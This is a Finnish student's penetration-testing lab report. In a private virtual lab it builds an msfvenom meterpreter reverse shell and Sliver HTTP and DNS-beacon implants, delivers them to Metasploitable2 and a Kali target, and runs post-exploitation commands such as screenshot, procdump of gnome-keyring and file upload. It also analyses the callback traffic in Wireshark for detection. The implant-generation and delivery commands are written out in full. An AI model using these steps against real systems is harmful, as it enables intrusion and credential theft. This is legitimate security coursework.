← Back to Penetration testing
H6 Koita Simpukoita
Tekijä: Aapo Tavio
Pohjana Tero Karvinen 2026: Tunkeutumistestaus 2026 kevät, Tunkeutumistestaus
h6 Koita simpukoita
Käytettävän ympäristön ominaisuudet
-
Host
-
Host PC: HP Laptop 15s-eq3xxx
-
OS: Ubuntu 24.04.4 LTS
-
Processor: AMD Ryzen™ 7 5825U with Radeon™ Graphics × 16
-
Memory: 16.0 GiB
-
NIC: Realtek Semiconductor Co., 802.11 ax Wireless
-
Architecture: x86_64
-
Firmware version: F.20
-
Kernel Version: Linux 6.17.0-22-generic
-
-
Virtual Machine (sliver-server)
-
OS: Kali GNU/Linux Rolling
-
Release: 2026.1
-
Kernel Version: Linux 6.19.11+kali-amd64
-
Architecture: x86-64
-
Hardware Vendor: QEMU
-
Hardware Model: Ubuntu 24.04 PC Q35 + ICH9, 2009
-
Hardware Version: pc-q35-noble
-
Firmware Version: 1.16.3-debian-1.16.3-2
-
Firmware Date: Tue 2014-04-01
-
vCPUs: 6
-
Memory: 4000 MiB
-
Storage: 80.09 GiB
-
-
Virtual Machine (target)
-
OS: Kali GNU/Linux Rolling
-
Release: 2026.1
-
Kernel Version: Linux 6.19.11+kali-amd64
-
Architecture: x86-64
-
Hardware Vendor: QEMU
-
Hardware Model: Ubuntu 24.04 PC Q35 + ICH9, 2009
-
Hardware Version: pc-q35-noble
-
Firmware Version: 1.16.3-debian-1.16.3-2
-
Firmware Date: Tue 2014-04-01
-
vCPUs: 2
-
Memory: 2048 MiB
-
Storage: 80.09 GiB
-
-
Metasploitable2
-
OS: Ubuntu 8.04
-
Hypervisor: KVM/QEMU
-
vCPUs: 2
-
Memory: 2048MiB
-
Storage: 8 GiB
-
a) Venom. Tee msfvenom-työkalulla haittaohjelma, joka soittaa kotiin (reverse shell). Ota yhteys vastaan metasploitin multi/handler -työkalulla.
29.4.2026 15:56
Lähdin ensimmäiseksi etsimään tietoa msfvenomista. Sain paljon tietoa kehittäjän sivuilta (Rapid7. URL: How to use msfvenom).
Msfvenom on siis hyötykuormien tekemiseen ja niiden koodaamiseen (encoding) tarkoitettu ohjelma.
Katsoin ensiksi hyötykuorma vaihtoehdot reverse shelliin.
$ msfvenom -l payloads | grep reverse | less #Valinta -l listaa kaikki hyötykuormat, putkitus grepiin jolla haen tiettyä sanaa ja less helpottamaan tulosteen lukemista
(Komennon msfvenom lähteenä aiemmin linkittämäni Rapid7:n sivu)
Valitsin listasta linuxin hyötykuorman.

Kuva 1. Valittu hyötykuorma on x86 arkkitehtuurille
Katsoin vielä mitä tiedostomuotoja oli tuettu msfvenomissa.
$ msfvenom -l formats #Listaa kaikki tiedostomuodot joita msfvenom tukee
(Komennon lähteenä aiemmin viittaamani Rapid7:n sivusto)
Luin vielä lisää ohjeita ja tietoa msfvenomin ja metasploitin yhteiskäytöstä Mediumin sivuilta (Zend 2024. URL: Creating Payload Using msfvenom and Setting up a Listener for Exploitation).
Ajoin komennon luodakseni haittaohjelman.
#Valinta -p asettaa hyötykuorman, LHOST on hyökkäävän koneen ip-osoite joka reverse shellissä kuuntelee, LPORT on hyökkäävän koneen portti joka kuuntelee, valinnalla -f määritetään tiedostotyyppi, valinnalla -o määritetään tiedoston nimi ja hakemistopolku johon tallennetaan hyötykuorma
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.100.250 LPORT=4444 -f elf -o /home/kali/msfvenom-payloads/infected-file
(Valintojen lähteenä aiemmin viittaamani rapid7 sivusto)
Sain onnistuneen ilmoituksen haittaohjelman luomisesta.

Kuva 2. Msfvenom valitsi automaattisesti alustan ja arkkitehtuurin
Huomionarvoista on että en koodannut/obfuskoinut haittaohjelmaa valinnalla -e. Useimmiten se tehtäisiin varmasti, mutta en suorittanut toimintoa nyt koska harjoittelen perusteita. Kävin vielä tarkastamassa tiedoston olemassaolon.

Kuva 3. Hakemisto msfvenom-payloads listattuna
30.4.2026 08:20
Minulla oli portti 4444 vielä kiinni kalilla palomuurissa, joten avasin sen ensimmäiseksi. Tämän jälkeen menin metasploitiin.
$ sudo msfdb init #Alustaa tietokannan metasploitille
$ sudo msfconsole #Yhdistää metasploitin konsoliin
(Lähde sudo msfdb init komennolle: Rapid7. Metasploit dokumentaatio. URL: Database Support | Metasploit Documentation)
Hain handlerin tietokannasta ja valitsin sen.
$ msf > search "multi" "handler"
$ msf > use 11

Kuva 4. Valittu exploit
Laitoin haittaohjelmaan ajo-oikeudet kaikille.
$ chmod o+x infected-file #o+x antaa ajo-oikeudet others käyttäjille eli ts. kaikille
Tein tiedoston infected-file siirron kalilta metasploitableen pythonin web-palvelinta hyödyntäen. Avasin kalilla ensin portin 8000 palomuurista, jonka jälkeen menin hakemistoon /home/kali/msfvenom-payloads/ ja ajoin komennon.
$ python -m http.server #Valinnalla -m voidaan määrittää ajettava moduuli
(Valinnan lähteenä pythonin manuaali kalissa. Komento: man python)
Metasploitablessa puolestaan ajoin komennon
$ wget 192.168.100.250:8000/infected-file #wget komennolla ladataan tiedostoja, osoite on muodossa [ip-osoite:portti] jonka jälkeen haluamani tiedosto
Varmistin tiedoston olemassaolon metasploitablessa.

Kuva 5. Käyttäjän msfadmin kotihakemisto listattuna
Tiedosto löytyi.
Reverse shellin ottaminen vastaan
30.4.2026 9:21
Kävin tässä vaiheessa lisäämässä valinnat metasploitin handleriin. Oikea portti oli valmiina, joten lisäsin vain kalin ip-osoitteen ja asetin saman hyötykuorman, joka luomassani haittaohjelmassa oli.

Kuva 6. Valinnat asetettuna handleriin
Laitoin kuuntelun päälle metasploitissa
msf exploit(multi/handler) > exploit
Oikeudet olivat näköjään muuttuneet haittaohjelmassa siirrettäessä tiedostoa. Laitoin ensimmäiseksi ajo-oikeudet taas kaikille haittaohjelmaan, jonka jälkeen ajoin tiedoston metasploitablella.
$ chmod o+x infected-file
$ ./infected-file #Ajaa tiedoston joka on nykyisessä hakemistopolussa
Jostain syystä sain ilmoituksen “Permission denied” koittaessani ajaa tiedoston ilman pääkäyttäjän oikeuksia. Varmaankin joku asetus metasploitablessa estää binäärien ajamisen ilman pääkäyttäjän oikeuksia. Ajoin siis tiedoston sudolla.
Sitten tulikin yhteyttä kaliin.

Kuva 7. Yhteys tuli meterpreterinä kaliin
Kuten “sysinfo” komennon tulosteesta näkyi, olin saanut yhteyden metasploitableen, koska Computer kohdassa luki “metasploitable.localdomain”. Huomionarvoista kuitenkin tehtävässä oli, että oikeassa penetraatiotehtävässä laittaisin tietenkin tiedoston nimeksi jonkin turvallisen oloisen nimen ja obfuskoisin tiedoston. Tällöin tiedosto toimisi troijalaisena, koska käyttäjä luulee ajavansa jonkin ei-haitallisen tiedoston sekä haittaohjelmien torjuntajärjestelmät eivät havaitsisi tiedoston haitallisuutta yhtä helposti. Lisäksi haittaohjelman siirtäminen kohteeseen ei olisi useimmiten yhtä suoraviivaista, koska kohdejärjestelmään ei olisi pääsyä ilman haittaohjelmaa. Haittaohjelmalla luodaan siis takaovi kohdejärjestelmään.
b) Snif venom! Tarkastele ja analysoi msfvenomin muodostamaa reverse shell -yhteyttä. Käytä snifferiä, kuten Wireshark. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa? Millä muutoksilla tunnistamista voi vaikeuttaa?
30.4.2026 12:10
Otin pienen näytteen wiresharkiin pitäessäni yhteyttä päällä meterpreterin avulla. Ajoin lisäksi komennon sysinfo pitäessäni wiresharkia päällä. Pakettien protokollista oli edustettuna näytteessä TCP, ARP, NBNS, Browser, ICMPv6 ja MDNS.

Kuva 8. Osa wireshark kaappausta

Kuva 9. Osa wireshark kaappausta
Hämmästelin ensimmäiseksi, miksi data (ilmeisesti sovelluskerroksen protokolla) oli salakirjoitettua ja miksi wireshark näytti sen protokollaksi vain TCP? TLS salauksissa protokollana wiresharkissa on esim. TLS.

Kuva 10. Data osio paketista jonka protokollana on TCP
Etsin vastausta netistä ja löysin offsecin sivuilta mahdollisesti vastauksen (URL: About the Metasploit Meterpreter).
Lähteen mukaan meterpreter yhteys käyttää oletuksena salakirjoitettua yhteyttä. En ole ihan varma voiko suoranaisesti tästä ominaisuudesta tunnistaa epäilyttävää yhteyttä, mutta tietyissä tilanteissa uskoisin ainakin voivan. Jos on odotettavissa jotain muita paketteja kuin kyseisenkaltaisia, voisi tällaista yhteyttä pitää epäilyttävänä. Datan salakirjoittaminen on kuitenkin uskoakseni lähes aina hyökkääjälle etu, joten en lähtisi salausta ainakaan purkaa parantaakseni mahdollisuuksia hyökkääjänä. Sekin voi olla todella epäilyttävää, että http-paketissa on salakirjoitettua tekstiä, vaikka salausta ei kuuluisi muiden tietojen valossa olla. Tavallisenomaisen tls-salauksen implementoiminen yhteyteen olisi varmasti monessa tilanteessa paljon parempi.
Loin vielä tiedoston metasploitablella touch komennolla ja latasin sen kalille meterpreter yhteydellä komennolla
meterpreter > download test.txt #Lataa tiedoston test.txt paikalliselle koneelle
Wiresharkissa oli kuitenkin samalla tavalla kaikki pakettien protokollat TCP ja data oli salakirjoitettu. Mitään aiemmasta poikkeavaa tietoa ei siis tullut. En löytänyt muidenkaan protokollien paketeista mitään erikoista. Esim. browser protokollan paketit olivatkin metasploitablen lähettämiä broadcast viestejä kaikille lähiverkon segmentin laitteille.
c) Hello, Sliver. Näytä esimerkki http-yhteydestä Sliverillä.
30.4.2026 14:58
Aloitin katsomalla tietoa sliveristä. Löysin hyvän videon youtubesta (InfoSec Pat 2025. URL: How to Use Sliver C2).
Sliverissä näköjään puhutaan implanteista/istutuksista(implants), jotka ymmärsin olevan haittaohjelmia/hyötykuormia lukiessani virallista sliverin dokumentaatiota (Bishop Fox. URL: Sliver - Getting Started).
Suoritin komennot:
#Aloittaa sliver-serverin
$ sudo sliver-server
#Valinta --os asettaa käytettävän käyttöjärjestelmän, --arch asettaa prosessorin arkkitehtuurin, --http [ip-osoite:portti] määrittää c2 koneen johon otetaan yhteyttä, -s valinnalla määritetään hakemistopolku ja tiedostonimi implantille
[server] sliver > generate --os linux --arch 32bit --http 192.168.100.250:4444 -s /home/kali/INFECTED-sliver-implants
(Valintojen lähteenä sliverin generate-komennon ohje sliverin komentokehotteessa. Komento: generate -h)
Implantin luominen taisi onnistua.

Kuva 11. Ilmoitus onnistuneesta implantin muodostamisesta
Kävin katsomassa, että tiedosto oli tallennettu haluamaani hakemistoon. Oletusnimi oli “REASONABLE_PATIENT”, jonka muutin mv-komennolla “sliver-shell-infected”.
Seuraavaksi siirsin tuttuun tapaan haittaohjelman python web-palvelimen avulla.
#Kalilla
$ python -m http.server #Aloittaa pythonin web-palvelimen portissa 8000
#Metasploitablella
wget 192.168.100.250:8000/sliver-shell-infected #Lataa kalilta haittaohjelman
chmod o+x sliver-shell-infected #Muuttaa tiedoston ajettavaksi kaikille
sudo ./sliver-shell-infected #Ajaa tiedoston pääkäyttäjän oikeuksin
En saanut ensiksi yhteyttä. Kun katsoin komennolla sessions, siellä ei ollut mitään yhteyksiä. Huomasin, että minun piti luoda job.
[server] sliver > http --lhost 0.0.0.0 --lport 4444 #Luo jobin nimellä http, valinnalla --lport määritetään kuunteleva portti, valinnalla --lhost määritetään liitäntä (interface)
(Komennon lähteenä sliverin komentokehotteessa http jobin ohje. Komento: http -h)

Kuva 12. Kaikki jobit listattuna
Ajoin uudestaan haittaohjelman pääkäyttäjän oikeuksilla metasploitablessa, mutta vieläkään ei ollut sessions listauksessa yhteyksiä.
30.4.2026 16:51
Käynnistin kalin ja metasploitablen uudestaan ja yritin ottaa yhteyttä, mutta turhaan, koska samanlainen tilanne oli edelleenkin.
Löysin tietoa netistä, että otp:n (one time password) laittaminen pois päältä luodessa handleria voisi auttaa.
(Github issue. URL: HTTP handler not accepting sessions #868)
Tapoin ensimmäiseksi jobin, joka minulla oli jo valmiina.
[server] sliver > jobs -K #Valinta -K tappaa kaikki käynnissä olevat jobit
(Valinnan lähde sliverin komentokehotteessa jobien ohje. Komento: jobs -h)
Ajoin uudestaan komennon joka loi jobin, mutta uudella valinnalla.
[server] sliver > http --lhost 0.0.0.0 --lport 4444 --disable-otp #Valinta --disable-otp poistaa käytöstä otp:n
(Valinnan lähde aiemmin viittaamani Github issues)
Sain kuitenkin ilmoituksen, että portti 4444 oli jo käytettävissä.

Kuva 13. Virhe luodessa jobia
En löytänyt kalista ss-ohjelmalla, että portti kuuntelisi, joten ajattelin helpoin ja nopein vaihtoehto olevan kalin uudelleenkäynnistys. Silti oli sama ongelma. Poistin sliverin asennuksen kalilta ja latasin sen uudestaan.
Kohteen vaihtaminen
1.5.2026 18:15
Yritin aika paljon kaikenlaista. Poistin sliverin kalista ja latasin sen githubista, jonka jälkeen rakensin sen sourcesta make-komennolla. Kokeilin erilaisia portteja luodessani hyötykuormaa, mutta turhaan. En tiedä voiko ongelmat johtua esimerkiksi siitä että sliver ei ole vain yhteensopiva metasploitablen kanssa? En löytänyt netistä varmaa tietoa asiasta, joten tein uuden kali virtuaalikoneen samaan verkkoon metasploitablen ja alkuperäisen kalin kanssa. Lopulta sliver toimi kuten pitikin helposti. Todennäköisesti ongelma oli siis metasploitablen ja sliverin yhteensopivuudessa. Koska msfvenomin hyötykuorma ja metasploit toimivat metasploitablen kanssa, nämä ohjelmat olisivat tapauksessa “no brainer” eli itsestäänselvät valinnat.
Avaan vielä prosessin sliverin käytöstä kahden kalin kanssa. Loin hyötykuorman komennolla
$ generate --os linux --arch amd64 --http 192.168.100.250:4444 -s /home/kali/INFECTED-sliver-implants/ #Luo 64 bittiselle linux-koneelle implantin
Laitoin kaikille lukuoikeudet implant-tiedostoon ja pythonin web-palvelimen avulla sekä wget-komennolla siirsin tiedoston kohteeseen. Annoin ajo-oikeuden käyttäjälle kali tiedostoon, jotta pystyin ajamaan sen. Käyttäjä kali omisti siis implant-tiedoston kohdekoneella.
$ chmod u+x TASTY_CIVILISATION #Antaa käyttäjälle ajo-oikeudet tiedostoon TASTY_CIVILISATION
Asetin jobin sliverissä tutulla komennolla
$ http -l 4444 --disable-otp #Laittaa kuuntelun päälle portissa 4444 ja ottaa otp:n pois käytöstä
Tämän jälkeen ajoin tiedoston.
$ ./TASTY_CIVILISATION #Ajaa tiedoston TASTY_CIVILISATION

Kuva 14. Tiedoston ajaminen jätti yhteyden roikkumaan ilman promptia
Sitten tulikin yhteys näkyviin sliveriin.

Kuva 15. Yhteyden saapumisesta tuli ilmoitus ja listasin ne vielä
Käytin yhteyttä komennolla
[server] sliver > use 916242cc #Ottaa valitun yhteyden käyttöön id:n perusteella

Kuva 16. Jalansija saatu kohdekoneeseen
d) Sniff Sliver! Tarkastele Sliverin http-yhteyttä snifferillä. Mitä havaitset? Mistä ominaisuuksista yhteyden voi tunnistaa?
1.5.2026 18:52
Laitoin wiresharkin päälle kohde kalissa, jossa haittaohjelma ajettiin. Ajoin samalla komennon ls wiresharkin ollessa päällä.
Huomasin liikenteessä olevan http dataa, joka oli jollain tavalla obfuskoitu.

Kuva 17. Http post-pyynnön dataa
Yritin kääntää esim. ASCII ja utf-8 formaateilla dataa wiresharkissa, mutta ainoastaan yaml-muodossa sain yhden datan näyttämään datan alussa tekstin “binary”.
Lisäksi huomasin paljon http get-pyyntöjä, joissa ei ollut dataa ollenkaan, mutta niissä oli erikoisia merkkijonoja URIn kohdalla.

Kuva 18. Get-pyynnön uri
Yllä olevan kuvan URIssa oli erikoinen parametri r=1390249t26394. Lisäksi pyynnössä oli URIn polku joka päättyi .php tiedostopäätteellä ja get-pyyntöjä lähti tasaisin väliajoin n. 3 sekunnin välein, jotka olivat melko samanlaisia.

Kuva 19. Kaksi ensimmäistä pyyntöä suoritettiin tiheämmin kuin muut
Kaikki ylläolevan kuvan pyynnöt kohdistettiin saastutetulta koneelta c2-koneelle eli hyökkääjän koneelle.
Toisessa pyynnössä oli .js tiedostopääte. Pyynnössä käytettiin post-metodia.

Kuva 20. Post-pyyntö .js tiedostopäätteellä
Löysin netistä tietoa, että .js tiedostopäätteellä olevat pyynnöt olivat pitkiä kyselyviestejä (long poll messages) ja .php tiedostopäätteellä olevat pyynnöt olivat yhteysviestejä (session messages). (Bishop Fox. URL: HTTPS C2)
Kysyin lisäksi tekoälyltä “how to detect from wireshark that someone have connection in pc with sliver” (Generoitu osoitteessa duck.ai käyttäen Clauden Haiku 4.5 kielimallia).
Sain vastaukseksi http/https pyynnöt, jotka sisältävät tiedostopäätteitä .woff, .html, .js, .php ja .png epätavallisiin domaineihin. Erityisesti vielä pyynnöt, jotka eivät vastaa tyypillistä web-selausta. Toinen tekoälyn mainitsema asia oli toistuvat kyselyt samaan osoitteeseen säännöllisin väliajoin samasta prosessista/portista. Kolmas oli epätavalliset käyttäjäagentit. Neljäs oli komennot, jotka on post-pyyntöjen urlissa koodattuna tai epätavalliset otsakkeet pyynnössä. Viides asia http/https pyyntöjen osalta oli https-yhteydet muihin portteihin kuin 443.
Mielestäni tekoälyn vastauksen voisi tiivistää puolustuksen perusperiaatteeksi, jossa epätavalliset poikkeamat ovat aina hälyttäviä tapauksia. Protokollan ollessa mikä vaan. Olisi tärkeätä tunnistaa lähtötilanne eli “baseline”, joka kertoisi mikä on verkon normaalia liikennettä?
e) Sliverillä voit muuttaa yhteyden ominaisuuksia. Kokeile ja näytä esimerkki. Muista todeta testein, että muutokset toimivat.
2.5.2026 11:42
Yhteyden pystyy muuttamaan toiseksi määrittämällä helposti implanttia tehdessä eri protokollan hyötykuormalle sekä jobia/handleria luodessa määrittää saman protokollan kuin hyötykuormassa. Aikaisemmin käytin http-protokollaa ja nyt tein sen dns-protokollalla.
[server] sliver > generate --os linux --arch amd64 --dns 192.168.100.250:4445 -s /home/kali/INFECTED-sliver-implants/infected-dns #Luo hyötykuorman nimeltä infected-dns, valinnalla --dns määritetään protokollaksi dns
(Valinnan lähteenä sliverin generate-komennon ohje sliverin komentokehotteessa. Komento: generate -h)
Ajoin seuraavaksi tuttuja komentoja aikaisemmista vaiheista.
#Hyökkäys kalilla hakemistopolussa /home/kali/INFECTED-sliver-implants
$ chmod o+r infected-dns #Lisää lukuoikeudet kaikille tiedostoon infected-dns
$ python -m http.server #Laittaa pythonin http-palvelimen pystyyn
#Kohdekoneessa hakemistopolussa /home/kali
$ wget 192.168.100.250:8000/infected-dns #Lataa tiedoston infected-dns hyökkäyskoneelta
$ chmod o+x infected-dns #Antaa ajo-oikeudet kaikille tiedostoon infected-dns
#Hyökkäyskalilla
[server] sliver > dns -l 4445 #Luo dns jobin joka kuuntelee portissa 4445

Kuva 21. Jobit/handlerit listattuna
Ajoin tiedoston kohdekoneella, mutta jostain syystä kone ei antanut ajaa tiedostoa vaikka kaikilla oli ajo-oikeudet tiedostoon.

Kuva 22. Tiedostoa ei pystynyt ajamaan nykyisillä oikeuksilla
Annoin oikeudet käyttäjälle ajaa tiedoston.
$ chmod u+x infected-dns #Antaa käyttäjälle ajo-oikeudet tiedostoon infected-dns
Tämän jälkeen tiedoston pystyi ajamaan.

Kuva 23. Tiedoston ajamisen jälkeen istunto jäi roikkumaan
Mitään yhteyksiä ei ilmaantunut hyökkäys kalille.

Kuva 24. Yhteyksiä ei ollut
2.5.2026 12:28
Sain ratkaistua mielestäni todella keinotekoisesti ongelman. Ongelmana oli portti 4445 ja ennen kaikkea kohde kalin domain asetuksista. Katsoin netistä tietoa dns:n hyödyntämisestä sliverissä, mutta moni artikkeli oli niin ammattimaisia, että niissä hyödynnettiin ulkoisia dns-palvelimia. Turvauduin tekoälyyn ja vasten odotuksia tekoälyltä tentatut vastaukset olivatkin avuksi
(DuckAI osoitteessa duck.ai. Kielimalli Claude Haiku 4.5).
Kysyin ensimmäiseksi “how to make dns payload with sliver and receive it with job”. Tekoäly vastasi jotain alidomaineista ym. mitkä olivat aivan ylimitoitettuja tehtävään. Esitin jatkokysymyksen “how to make this with only 2 kali vms”, josta tuli suurin osa ratkaisevista vastauksista. Tekoäly vastasi, että minun pitäisi tehdä implantti –domains valinnalla ja hyökkäyskoneeni ip-osoitteella. Portti olisi automaattisesti dns-oletusportti eli 53. Tekoäly suositteli tekemään implantin vielä beacon muodossa. Lisäksi oleellista olisi konfiguroida kohdekoneen käyttävän dns-palvelimena hyökkäys konettani.
Beacon yhteydet eroavat sessions yhteyksistä yhteyden ylläpitotavalla. Sessions yhteydet pitävät yhtä TCP yhteyttä auki kohdekoneen ja sliver koneen välillä. Beacons yhteydet puolestaan ottavat kohdekoneelta sliver koneelle yhteyttä väliajoin ja “nukkuvat” yhteyksien muodostuksien välisenä aikana (Bishop Fox. URL: 2 - Beacons vs Sessions).
Lähdin toteuttamaan komentoja tietojen perusteella sliverissä.
#Hyökkäys kalilla
[server] sliver > generate beacon --arch amd64 --os linux --dns 192.168.100.250 -s /home/kali/INFECTED-sliver-implants/beacon-dns-2 #Generoi dns hyötykuorman joka hyödyntää beacon yhteyttä, portti on oletuksena 53
[server] sliver > jobs -k 2 #Tappaa handlerin jonka id on 2
[server] sliver > dns --domains 192.168.100.250 #Luo dns handlerin jonka domain on hyökkäys kalin ip-osoite
Siirsin tuttuun tapaan python web-palvelimella implantin kohdekoneelle ja muuttelin luku- ja ajo-oikeuksia. Sitten loin dns-tiedoston kohdekoneella.
#Kohdekoneella hakemistopolussa /etc
$ sudoedit resolv.conf #Luo pääkäyttäjän oikeuksin tiedoston resolv.conf
Lisäsin hyökkäys kalin ip-osoitteen dns-palvelimeksi.

Kuva 25. Merkkijonolla nameserver määritetään nimipalvelin eli dns-palvelin
Ajoin implantin kohdekoneella ja sain ilmoituksen uudesta yhteydestä sliveriin.
![]()
Kuva 26. Beacon yhteydet listattuna
Otin yhteyden käyttöön.
[server] sliver > use 032b115b #Ottaa yhteyden käyttöön jonka id on 032b115b
Ajaessani komentoa ls sain ilmoituksen.
![]()
Kuva 27. Vastaus komentoon ifconfig
Vastauksessa kerrottiin, että beaconille on asetettu tehtävä. Tässä huomasi eron sessions ja beacons yhteyden välillä, koska minulla kesti n. minuutin verran saada vastaus komentooni.

Kuva 28. Vastauksessa oli kohdekoneen ip- ja mac-osoite
Kävin wiresharkissa vielä katsomassa liikennettä.

Kuva 29. Protokollana oli dns wiresharkin paketeissa
Todellisessa tilanteessa uskoisin prosessin olevan kuitenkin melko erilainen, koska voidaan hyödyntää ulkoisia dns-palvelimia. Toisaalta, jos on pääsy kohdekoneen dns-tietoihin, voidaan käyttää edellä mainittuja menetelmiä. Todennäköisesti kuitenkin on jo pääsy koko kohdekoneelle, jos pääsee muuttamaan dns-tietoja kohdekoneella.
f) Sliverillä voi tehdä monenlaista kohteessa, ruutukaappauksista alkaen. Näytä esimerkkejä toiminnoista.
2.5.2026 15:21
Vaihdoin yhteyden aikaisemmin luotuun http-yhteyteen, koska se olisi paljon käytännöllisempi tapauksessa kuin dns-yhteys.
Aloitin ottamalla näyttökuvan sliverillä kohdekoneesta.
$ [server] sliver (TASTY_CIVILISATION) > screenshot #Ottaa kuvakaappauksen koneelta jossa haittaohjelma pyörii

Kuva 30. Sliver näytti komennon jälkeen tiedostopolun josta kuva löytyy
Kuva tallennettiin siis hyökkäävän koneen /tmp/ hakemistoon. Siirsin sen kotihakemistooni ja avasin sen.

Kuva 31. Kuvakaappaus kohdekoneelta jossa ajetaan parhaillaan haittaohjelmaa
Kaikki normaalit tiedostojärjestelmän komennot ovat käytettävissä sliverissäkin, kuten ls, cd, mkdir, mv. Katsoin help-valikosta, että siellä oli komento nimeltä procdump, joka ottaisi prosessin muistin talteen. Ajoin ensin ps komennon, jolla näin kaikki prosessit, jonka jälkeen otin prosessin gnome-keyring-d muistin talteen. Prosessin id oli 920.
[server] sliver (TASTY_CIVILISATION) > procdump -p 920 #Valinnalla -p voidaan määrittää prosessi-id jonka muisti halutaan talteen
(Valinnan lähteenä sliverin apuvalikko sessions yhteyden ollessa aktiivisesti päällä kohdekoneeseen. Komento: procdump -h)
Sain ilmoituksen, että dump-tiedosto oli tallennettu taas hyökkäyskoneen /tmp hakemistoon. Siirsin sen taas kotihakemistooni ja avasin sen sisällön cat-komennolla. Se oli kuitenkin tyhjä.

Kuva 32. Dump tiedosto tulostettuna
Latasin vielä systemd:n muistin, mutta sekin oli tyhjä.

Kuva 33. Systemd dump tiedosto avattuna näytölle
Systemd:ssä pitäisi kyllä olla varmasti jotain meneillään mielestäni, koska se on niin oleellinen osa modernien linuxien toimintaa joka hallitsee monia järjestelmän toimintoja. En lähtenyt selvittämään asiaa, koska se olisi ollut tehtävänannon ulkopuolinen asia, mutta kuvittelisin ongelman liittyvän käyttöoikeuksiin tai tiedoston avaamiseen käytettävässä ohjelmassa.
Komennolla upload voi ladata myös tiedostoja kohdekoneelle. Tein hyökkäyskoneeni kotihakemistoon uuden tiedoston “upload-this.txt”, jonka jälkeen lähetin sen kohdekoneelle.
[server] sliver (TASTY_CIVILISATION) > upload /home/kali/upload-this.txt . #upload komennon jälkeen määritetään tiedosto joka lähetetään jonka jälkeen määritetään hakemisto johon tiedosto kohdekoneella tallennetaan. Piste on nykyinen hakemisto
(Komennon lähteenä sliverin apuvalikko sessions yhteyden ollessa aktiivisesti päällä kohdekoneeseen. Komento: upload -h)

Kuva 34. Lähetetty tiedosto tulostettuna näytölle kohdekoneella
g) Vapaaehtoinen: Kokeile Sliver-binääriä Windowsissa.
En tehnyt tehtävää.
h) Vapaaehtoinen: Tee Windows-asennusohjelma, joka asentaa jonkin tavallisen ohjelman ja sen yhteydessä Sliver-haitakkeen.
En tehnyt tehtävää.
i) Vapaaehtoinen: Kokeile Veil.
En tehnyt tehtävää.
j) Vapaaehtoinen: Kokeile ScareCrow.
En tehnyt tehtävää.
k) Vapaaehtoinen: Tee PoshC2-työkalulla haittaohjelma, joka soittaa kotiin.
En tehnyt tehtävää.
l) Vapaaehtoinen: Tee Mythic-työkalulla haittaohjelma, joka soittaa kotiin.
En tehnyt tehtävää.
m) Vapaaehtoinen: Asenna Windows-virtuaalikone ja tee kotiin soittava haittaohjelma siihen. Itse tykkään Linuxista ja käytän paljon sitä, tässä hieman vaihtelua. Windows-käyttäjät ovat myös usein tottuneet (paketinhallinnan puutteessa) lataamaan ohjelmia weppisivuilta.
En tehnyt tehtävää.
Lähteet
Bishop Fox. 1 - Getting Started. Luettavissa: Sliver - Getting Started. Luettu: 30.4.2026.
Bishop Fox. 2 - Beacons vs Sessions. Luettavissa: 2 - Beacons vs Sessions. Luettu: 2.5.2026.
Bishop Fox. HTTPS C2. Luettavissa: HTTPS C2. Luettu: 1.5.2026.
Github issues. 13.9.2022. HTTP handler not accepting sessions #868. Luettavissa: HTTP handler not accepting sessions #868. Luettu: 30.4.2026.
InfoSec Pat. 18.6.2025. How to Use Sliver C2 | Free & Powerful C2 Framework Explained 2025. Youtube. Katsottavissa: How to Use Sliver C2. Katsottu: 30.4.2026.
OffSec. About the Metasploit Meterpreter. Luettavissa: About the Metasploit Meterpreter. Luettu: 30.4.2026.
Pythonin manuaali kalissa. Komento: man python. Luettu: 30.4.2026.
Rapid7. How to use msfvenom. Luettavissa: How to use msfvenom. Luettu: 29.4.2026.
Rapid7. Metasploit dokumentaatio. What is msfdb?. Luettavissa: Database Support - Metasploit Documentation. Luettu: 30.4.2026.
Sliverin apuvalikko sessions yhteyden ollessa aktiivisesti päällä kohdekoneeseen. Komennot: “procdump -h” ja “upload -h”. Luettu: 2.5.2026.
Sliverin generate-komennon ohje sliverin komentokehotteessa. Komento: generate -h. Luettu: 2.5.2026.
Sliverin komentokehotteessa http jobin ohje. Komento: http -h. Luettu: 30.4.2026.
Sliverin komentokehotteessa jobien ohje. Komento: jobs -h. Luettu: 30.4.2026.
Tekoäly. duck.ai. Claude Haiku 4.5. Syöte: “how to detect from wireshark that someone have connection in pc with sliver”. Generoitu: 1.5.2026.
Tekoäly. duck.ai. Claude Haiku 4.5. Syötteet: “how to make dns payload with sliver and receive it with job” ja “how to make this with only 2 kali vms”. Generoitu: 2.5.2026.
Zend, P. 5.10.2024. Creating Payload Using msfvenom and Setting up a Listener for Exploitation. Luettavissa: Creating Payload Using msfvenom and Setting up a Listener for Exploitation. Luettu: 29.4.2026.
Tätä dokumenttia saa kopioida ja muokata GNU General Public License (versio 3 tai uudempi) mukaisesti. http://www.gnu.org/licenses/gpl.html